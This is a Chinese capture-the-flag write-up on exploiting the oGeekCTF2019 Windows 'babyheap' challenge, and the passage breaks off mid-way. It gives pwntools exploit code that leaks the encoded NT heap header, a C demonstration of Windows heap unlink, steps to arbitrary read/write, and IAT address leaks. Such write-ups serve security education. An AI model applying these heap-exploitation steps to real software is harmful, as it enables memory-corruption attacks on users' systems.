师傅做windows pwn的时候, 写脚本的时候是怎么进行debug的?
一道很经典的 win pwn ,根据出题人的意思,该题是受WCTF
的LazyFragmentationHeap
启发而得来的。
源程序下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/ogeekctf2019/pwn/babyheap 。
在这里先感谢出题人m4x
和WCTF
的一位大佬Angelboy
的指点。
babyheap
源码:https://github.com/bash-c/pwn_repo/tree/master/oGeekCTF2019_babyheap_src。
漏洞点
程序流比较简单,直接就是polish
存在堆溢出。
void polish()
{
int idx = -1;
puts("\nA little change will make a difference.\n");
puts("Which one will you polish?");
scanf_wrapper("%d", idx);
if (idx < 0 || idx >= 18)
{
puts("error");
return;
}
if (g_inuse[idx])
{
int size = 0;
puts("And what's the length this time?");
scanf_wrapper("%d", size);
puts("Then name it again : ");
read_n(g_sword[idx], size); // heap overflow
}
else
{
puts("It seems that you don't own this sword.");
}
}
leak heap header
Windows 10 使用的是Nt heap
,对于使用中的堆块和free的堆块头部都会用_HEAP->Encoding
进行异或加密,用来防止堆溢出,所以我们要先leak出free的堆块头部加密后的内容,否则我们堆溢出时会被check。
sh.recvuntil('gift : 0x')
image_base = int(sh.recvuntil('\r\n'), 16) - 0x001090
log.info('image_base: ' + hex(image_base))
for i in range(6):
add(0x58, '\n')
destroy(2)
# leak free heap header
free_heap_header = ''
while(len(free_heap_header) < 8):
head_length = len(free_heap_header)
polish(1, 0x58 + head_length, 'a' * (0x58 + head_length) + '\n')
check(1)
sh.recvuntil('a' * (0x58 + head_length))
free_heap_header += sh.recvuntil('\r\n', drop=True) + '\0'
free_heap_header = free_heap_header[:8]
# recover
polish(1, 0x60, 'a' * 0x58 + free_heap_header)
这里特别要注意的是,使用中的heap 头部和 free 的heap 头部并不相同,所以一定不能leak错了。
Windows heap unlink
这个以前从来没有见过,和Linux的unlink差别挺大的,原理可以用下面的代码简单描述一下:
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char* ptr[0x10];
int main()
{
HANDLE heap = HeapCreate(HEAP_NO_SERIALIZE, 0x2000, 0x2000);
setbuf(stdout, NULL);
ptr[0] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
ptr[1] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
ptr[2] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
ptr[3] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
ptr[4] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
ptr[5] = (char*)HeapAlloc(heap, HEAP_NO_SERIALIZE, 0x18);
HeapFree(heap, HEAP_NO_SERIALIZE, ptr[2]);
HeapFree(heap, HEAP_NO_SERIALIZE, ptr[4]);
*(void**)(ptr[2]) = &ptr[2] - 1;
*(void**)(ptr[2] + 4) = &ptr[2];
printf("%p: %p\n", &ptr[2], ptr[2]);
HeapFree(heap, HEAP_NO_SERIALIZE, ptr[1]);
printf("%p: %p\n", &ptr[2], ptr[2]);
return 0;
}
其作用就是让ptr[2]
指针指向自己,这个和Linux有点像。
destroy(4)
polish(1, 0x58 + 8 + 8, 'b' * 0x58 + free_heap_header + p32(ptr_addr + 4) + p32(ptr_addr + 8) + '\n')
destroy(1)
然后再用后门功能使得unlink
后的指针可以进行编辑。
sh.sendlineafter('choice?\r\n', '1337')
sh.sendlineafter('target?\r\n', str(g_inuse_addr + 2))
polish(2, 4, p32(ptr_addr + 12) + '\n')
完成这些操作后,我们就能利用index_2
来操作index_3
指针的指向,实现任意地址读写。
泄露地址信息
这个和Linux 差不多,只不过Linux 是 got 表,而 Windows 是 iat 表。至于iat具体在哪个dll动态库里面,这个可以用IDA或者PE工具来查看。
其查询结果如下所示:
.idata:00403000 ; Imports from KERNEL32.dll
.idata:00403000 ;
.idata:00403000 ; ===========================================================================
.idata:00403000
.idata:00403000 ; Segment type: Externs
.idata:00403000 ; _idata
.idata:00403000 ; HANDLE __stdcall HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)
.idata:00403000 extrn HeapCreate:dword ; CODE XREF: .text:0040111A↑p
我们会在后面需要ntdll
的地址,而ntdll
并不在babyheap
的导入表中,所以我们需要从KERNEL32
中进行泄露。
# leak dll base addr
puts_iat = image_base + 0x0030C8 # ucrtbase.dll
Sleep_iat = image_base + 0x003008 # KERNEL32.dll
polish(2, 4, p32(puts_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]
ucrtbase_addr = u32(result) - 0xb89b0
log.success('ucrtbase_addr: ' + hex(ucrtbase_addr))
polish(2, 4, p32(Sleep_iat) + '\n')
check(3)
sh.recvuntil('Show : ')
result = sh.recvuntil('\r\n', drop=True)[:4]